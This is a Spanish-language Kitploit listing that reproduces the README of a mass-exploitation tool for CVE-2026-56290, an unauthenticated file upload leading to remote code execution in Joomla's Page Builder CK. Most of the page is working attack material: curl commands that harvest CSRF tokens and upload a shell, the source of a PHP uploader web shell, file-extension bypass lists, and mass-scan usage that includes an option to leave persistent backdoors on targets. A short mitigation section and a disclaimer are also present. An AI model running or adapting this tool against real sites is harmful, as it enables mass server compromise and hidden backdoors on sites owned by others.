Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
pbck-exploit — 📤 Framework de explotación masiva para CVE-2026-56290 — Page Builder CK Joomla: carga de archivos no autenticada que conduce a RCE (ejecución remota de código). | Kitploit
Herramientas/GitHubGitHub/shinthink/pbck-exploit
ReconocimientoEscáneres de VulnerabilidadesFrameworks de ExploitsExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubshinthink/pbck-exploit

pbck-exploit

📤 Framework de explotación masiva para CVE-2026-56290 — Page Builder CK Joomla: carga de archivos no autenticada que conduce a RCE (ejecución remota de código).

Ver Repositorio
3hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PBCK-Exploit — Exploit de CVE-2026-56290 para Joomla Page Builder CK

Python CVE License

Discovery CSRF RCE Cleanup Live

Framework de explotación masiva y validación para Joomla Page Builder CK

Subida arbitraria de archivos sin autenticación → Ejecución remota de código



📑 Tabla de contenidos

  • Resumen de la vulnerabilidad
  • Versiones afectadas
  • Características
  • Instalación
  • Uso
  • Prueba de concepto
  • Análisis técnico en profundidad
  • Metodología de detección
  • Defensa y mitigación
  • Descargo de responsabilidad
  • Referencias

🔴 Resumen de la vulnerabilidad

CVE-2026-56290 es una vulnerabilidad de severidad crítica en Page Builder CK (com_pagebuilderck), una popular extensión de creación de páginas para Joomla. El método browse.ajaxAddPicture del controlador acepta subidas de archivos sin autenticación con una ruta de destino controlada por el usuario, lo que permite a los atacantes escribir archivos PHP arbitrarios en directorios accesibles desde la web.

La causa raíz

root@kitploit:~
// browse.php controller — NO authentication check
function ajaxAddPicture() {
    $input = JFactory::getApplication()->input;
    $file  = $input->files->get('file', null);   // ← user-controlled file
    $path  = trim($input->get('path', ''));       // ← user-controlled path, only trim()!
    // ... uploads file to $path without validating the destination
}

El parámetro path solo pasa por una sanitización con trim() — sin lista blanca, sin comprobación de traversal de directorios, sin barrera de autenticación. Combinado con un token CSRF que es accesible públicamente desde cualquier página de Joomla, los atacantes pueden subir shells PHP de forma remota a cualquier directorio escribible.

Impacto

Vector de ataqueSeveridadImpacto

La cadena de ataque

root@kitploit:~
1. HIT Joomla homepage     →  harvest CSRF token (hex32 + value "1")
2. POST file upload         →  task=browse.ajaxAddPicture&{token}=1
3. PHP shell lands in       →  media/com_pagebuilderck/gfonts/shell.php
4. GET shell URL            →  code executes, RCE confirmed
5. POST f=@file to shell    →  upload additional tools
6. GET ?cleanup=1           →  shell self-destructs

🟠 Versiones afectadas

Nota: La versión se detecta a partir del archivo de manifiesto de Joomla en /administrator/manifests/files/com_pagebuilderck.xml. Si el manifiesto no es accesible, el escáner trata el objetivo como potencialmente vulnerable por defecto.


✨ Características


📦 Instalación

root@kitploit:~
# Clone the repository
git clone https://github.com/shinthink/pbck-exploit.git
cd pbck-exploit

# Install dependencies
pip install -r requirements.txt

# Verify
python cve_2026_56290.py --help

Requisitos

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

📖 Uso

Argumentos de línea de comandos

root@kitploit:~
CVE-2026-56290 — PageBuilderCK Unauthenticated RCE | Mass Exploit & Validator

  -t, --target        Single target URL
  -f, --file          File with target URLs (one per line, # for comments)
  -o, --output        Live TXT output file (default: cve-2026-56290_live.txt)
  --json              JSON report file path (default: cve-2026-56290_report.json)
  --threads           Concurrent workers (default: 20)
  --timeout           Request timeout in seconds (default: 15)
  --no-cleanup        Leave shells on target (persistent backdoor)
  -v, --verbose       Verbose endpoint discovery output
  --known-endpoint    Skip discovery: task,file_param,folder_param

Uso básico

root@kitploit:~
# Single target
python cve_2026_56290.py -t https://target.com

# Mass scan from file
python cve_2026_56290.py -f targets.txt

# Custom output + verbose
python cve_2026_56290.py -f targets.txt -o results.txt -v

# Leave shells behind (persistent backdoor)
python cve_2026_56290.py -t https://target.com --no-cleanup

# Skip discovery with known endpoint
python cve_2026_56290.py -t https://target.com --known-endpoint "browse.ajaxAddPicture,file,path"

Formato del archivo de objetivos

root@kitploit:~
# targets.txt
target-one.com
https://target-two.com/subdir
192.168.10.100
# comments and blank lines are ignored

🧪 Prueba de concepto

Escenario 1: Escaneo masivo con salida en vivo

root@kitploit:~
$ python cve_2026_56290.py -f targets.txt -o live_results.txt
root@kitploit:~
────────────────────────────────────────────────────────────
  CVE-2026-56290 | 5 targets | 20 threads | cleanup=yes
  Live TXT: live_results.txt
  2026-07-04 15:30:00
────────────────────────────────────────────────────────────

  ✅ https://target-vuln.com  [rce_confirmed]  12.4s
     PBCK: 3.4.7 [VULN]
     RCE  : ext=php | path=media/com_pagebuilderck/gfonts/
     Shell: https://target-vuln.com/media/com_pagebuilderck/gfonts/pbck_a3f2b9c1.php
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

  🛡️ https://target-patched.com  [patched]  3.2s

  ✅ https://target-vuln2.com  [rce_confirmed]  15.1s
     PBCK: 3.1.0 [VULN]
     RCE  : ext=pHP | path=media/com_pagebuilderck/fonts/
     Shell: https://target-vuln2.com/media/com_pagebuilderck/fonts/pbck_x7k2m4v9.pHP
     Usage: POST f=@file | ?cleanup=1
     EP   : task=browse.ajaxAddPicture | file=file | folder=path

==================================================
  SCAN SUMMARY
==================================================
  Total           : 5
  ✅ RCE Confirmed : 2
  ⚠️  RCE Failed    : 1
  🛡️  Patched       : 1
  🔍 Need Diff     : 0
  ❌ Not Joomla    : 0
  ⏭️  No Component  : 1
  💥 Errors         : 0
==================================================

Escenario 2: Reproducción manual (curl + Python)

Paso 1 — Recolectar el token CSRF

root@kitploit:~
curl -sk 'https://target.com/' | grep -oP 'name="[a-f0-9]{32}" value="1"'
# name="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6" value="1"

Paso 2 — Subir el shell PHP

root@kitploit:~
TOKEN="a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6"

curl -sk \
  -F "[email protected];type=application/x-php" \
  -F "path=media/com_pagebuilderck/gfonts/" \
  "https://target.com/index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&${TOKEN}=1"

Paso 3 — Verificar el RCE

root@kitploit:~
curl -sk 'https://target.com/media/com_pagebuilderck/gfonts/shell.php'
# → PHP shell output, confirms code execution

Escenario 3: El payload del shell PHP

El escáner despliega un shell subidor autónomo — no requiere exec(), system() ni eval():

root@kitploit:~
<html><body>
<form method=post enctype=multipart/form-data>
  <input type=file name=f>
  <input type=submit value=Upload>
</form>
<pre><?php
if(isset($_FILES['f'])){
  move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
  echo $_FILES['f']['name'].' OK';
}
if(isset($_GET['cleanup'])){
  @unlink(__FILE__);
  die('CLEANED');
}
echo '<unique-validation-token>';
?></pre></body></html>

Capacidades del shell:

  • 📤 Subir archivos adicionales mediante POST f=@file
  • 🧹 Autodestrucción mediante ?cleanup=1
  • 🔑 Validación basada en token (el escáner verifica el token único en la salida)

🔬 Análisis técnico en profundidad

Arquitectura

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                     PBCK-EXPLOIT                        │
├──────────────────┬──────────────────────────────────────┤
│   RECON PHASE   │           EXPLOIT PHASE               │
│                  │                                      │
│  ┌────────────┐  │  ┌──────────────┐  ┌──────────────┐  │
│  │ Joomla     │  │  │ Endpoint     │  │ Extension    │  │
│  │ Detection  │  │  │ Brute-force  │  │ Bypass Grid  │  │
│  │ (2-phase)  │  │  │ (1000+ combo)│  │ (40+ exts)   │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │  ┌──────▼───────┐  ┌──────▼───────┐  │
│  │ PBCK       │  │  │ CSRF Token   │  │ PHP Shell    │  │
│  │ Detection  │  │  │ Harvester    │  │ Deployment   │  │
│  │ (probes)   │  │  │ (5 pages)    │  │ (20+ paths)  │  │
│  └─────┬──────┘  │  └──────┬───────┘  └──────┬───────┘  │
│        │         │         │                  │          │
│  ┌─────▼──────┐  │         │           ┌──────▼───────┐  │
│  │ Version    │  │         │           │ Validation   │  │
│  │ Check      │  │         │           │ + Cleanup    │  │
│  └────────────┘  │         │           └──────────────┘  │
└──────────────────┴──────────────────────────────────────┘

Estrategia de detección de endpoints

El escáner utiliza un enfoque de fuerza bruta por niveles con un presupuesto de tiempo por objetivo (15s):

Cada combinación: sube una sonda .txt, la verifica mediante GET y busca la coincidencia en caso de éxito. Devuelve el resultado inmediatamente cuando se confirma.

Filosofía del bypass de extensiones

CKFile::makeSafe() bloquea .php en algunas configuraciones. La estrategia de bypass:

root@kitploit:~
Tier 1: Fast
  php, PHP, pht, phar
         ↓ (if blocked)
Tier 2: Case juggling
  Php, pHp, PhP, pHt, PHT, PhTmL, pHtml, ...
         ↓ (if blocked)
Tier 3: Alternative handlers
  php3, php4, php5, php6, php7, php8, phtml, shtml, inc
         ↓ (if blocked)
Tier 4: Double extensions
  php.jpg, jpg.php, php.png, php.gif, php.txt
         ↓ (if blocked)
Tier 5: Windows tricks
  php., PHP., php. , php.SWF

Recolección de tokens CSRF

El token CSRF de Joomla está incrustado en todas las páginas — inicio, login, registro, formularios de contacto, administración:

root@kitploit:~
CSRF_PAGES = [
    "",                                                            # homepage
    "/index.php?option=com_users&view=login",                       # login
    "/index.php?option=com_users&view=registration",                # registration
    "/index.php?option=com_contact&view=contact&id=1",              # contact
    "/administrator/index.php",                                     # admin login
]

Patrón A — Campo oculto HTML: <input type="hidden" name="<hex32>" value="1">

Patrón B — Configuración JSON: "csrf.token":"<hex32>"


🔍 Metodología de detección

Detección de Joomla (2 fases)

Fase 1 — Huellas HTML (rápidas y definitivas)

  • Etiqueta meta Generator que contiene "Joomla!"
  • Elementos estructurales: <jdoc:include>, joomla-script-options, "csrf.token"
  • Patrones de ruta: /components/com_, /modules/mod_, /plugins/system/
  • Análisis de cookies de sesión

Fase 2 — Prueba del panel de administración (respaldo)

  • Obtiene la página /administrator/
  • Comprueba marcadores de administración específicos de Joomla: name="username", mod-login-, administrator/templates/

Detección de PBCK (3 niveles)

Nivel 1 — Indicadores HTML fuertes

root@kitploit:~
com_pagebuilderck, /pagebuilderck/, /media/com_pagebuilderck

Nivel 2 — Indicadores HTML débiles con confirmación

root@kitploit:~
pagebuilderck + (pbck_ | pagebuilderck.css | pagebuilderck.js)

Nivel 3 — Pruebas directas de archivos (detecta instalaciones donde PBCK no está en la página de inicio)

root@kitploit:~
/media/com_pagebuilderck/css/pagebuilderck.css
/media/com_pagebuilderck/js/pagebuilderck.js
/administrator/manifests/files/com_pagebuilderck.xml

🛡️ Defensa y mitigación

1. Actualice inmediatamente

root@kitploit:~
# Update Page Builder CK to the latest patched version
# Check: https://extensions.joomla.org/extension/page-builder-ck/

2. Bloquee el endpoint de subida

root@kitploit:~
# Nginx — block unauthenticated access to the upload controller
location ~* "option=com_pagebuilderck&task=browse.ajaxAddPicture" {
    deny all;
}
root@kitploit:~
# Apache/.htaccess
RewriteCond %{QUERY_STRING} task=browse\.ajaxAddPicture [NC]
RewriteRule ^ - [F]

3. Refuerce la ejecución de PHP en directorios escribibles

root@kitploit:~
# .htaccess in media/ — disable PHP execution
<FilesMatch "\.php$">
    Require all denied
</FilesMatch>

4. Audite su flota de sitios

root@kitploit:~
# Scan your own infrastructure
python cve_2026_56290.py -f my_joomla_sites.txt -o audit_results.txt

⚠️ Descargo de responsabilidad

🚨 SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS

Este software se proporciona únicamente con fines educativos y para investigación legítima de seguridad. Está pensado para ser utilizado por:

  • 🛡️ Profesionales de la seguridad que realizan pruebas de penetración autorizadas
  • 🏢 Organizaciones que auditan su propia infraestructura de Joomla
  • 🔬 Investigadores que estudian técnicas de explotación de vulnerabilidades
  • 🎓 Estudiantes que aprenden sobre seguridad de aplicaciones web

❌ NO puede utilizar este software para:

  • Acceder a sistemas informáticos sin autorización escrita explícita
  • Comprometer, dañar o interrumpir sistemas que no sean suyos
  • Realizar cualquier tipo de actividad ilegal

⚖️ Aviso legal

El acceso no autorizado a sistemas informáticos infringe leyes que incluyen, entre otras:

  • Estados Unidos: Computer Fraud and Abuse Act (18 U.S.C. § 1030)
  • Indonesia: UU ITE Pasal 30 & 46 (UU No. 11 Tahun 2008 jo. UU No. 1 Tahun 2024)
  • Unión Europea: Directiva 2013/40/UE
  • Reino Unido: Computer Misuse Act 1990

Los autores NO asumen NINGUNA RESPONSABILIDAD por el mal uso, los daños o las consecuencias legales derivadas del uso de esta herramienta. Al utilizar este software, usted reconoce que es el único responsable de sus acciones y acepta cumplir con todas las leyes aplicables.


📚 Referencias


⚡ Construido con precisión para la comunidad de investigación en seguridad ⚡

Joomla® es una marca comercial registrada de Open Source Matters, Inc.
Este proyecto no está afiliado ni respaldado por Joomla, Open Source Matters o Page Builder CK.

Descargar herramienta
Subida de archivos sin autenticación
9.8 (Crítica)
Ejecución arbitraria de código PHP
Recolección de tokens CSRF5.3 (Media)Habilita la cadena de subida
Divulgación de información5.3 (Media)Fingerprinting de la versión de la extensión
Versión de Page Builder CKEstadoNotas
3.1.1 y anteriores🔴 VulnerableSubida sin autenticación confirmada
3.4.10 y anteriores🔴 VulnerableRango ampliado según el análisis
3.5.10 y anteriores🔴 VulnerablePueden existir variantes parcheadas
> 3.5.10🟢 Posiblemente parcheadoVerificar mediante el XML del manifiesto

🔍 Reconocimiento

  • Detección de Joomla — En 2 fases: huellas HTML + prueba del panel de administración
  • Detección de PBCK — Pruebas directas de rutas + coincidencia de patrones HTML
  • Extracción de versión — Análisis del XML del manifiesto + respaldo con regex HTML
  • Recolección de tokens CSRF — Extracción de tokens en múltiples páginas (inicio, login, registro, administración)
  • Fuerza bruta de endpoints — Más de 1000 combinaciones de tarea/parámetro/ruta con un presupuesto de tiempo para el descubrimiento

💀 Explotación

  • Bypass de más de 40 extensiones — Variación de mayúsculas, variantes numeradas, dobles extensiones, trucos de Windows
  • Más de 20 rutas de destino — Directorios de extensiones, directorios escribibles de Joomla, rutas de traversal
  • Validación del shell — Confirmación basada en token de que PHP se ejecuta
  • Limpieza automática — Los shells se autodestruyen tras la validación (?cleanup=1)
  • Salida TXT en vivo — Resultados en tiempo real y seguros para hilos, escritos en un archivo
  • Informe JSON — Informe estructurado con detalles completos por objetivo
NivelTareasParámetros de archivoParámetros de carpetaRutas de destinoCombinaciones totales
Nivel 1 (confirmado)browse.ajaxAddPicture + 3 másfile, Filedatapath, folder, dirLos 4 directorios principales de PBCK96
Nivel 2 (cuadrícula completa)12 tareas4 parámetros5 parámetros20+ rutas4,800+
RecursoEnlace
Entrada NVDCVE-2026-56290
Seguridad de Joomladeveloper.joomla.org/security
Page Builder CKextensions.joomla.org
Subida de archivos OWASPSubida de archivos sin restricciones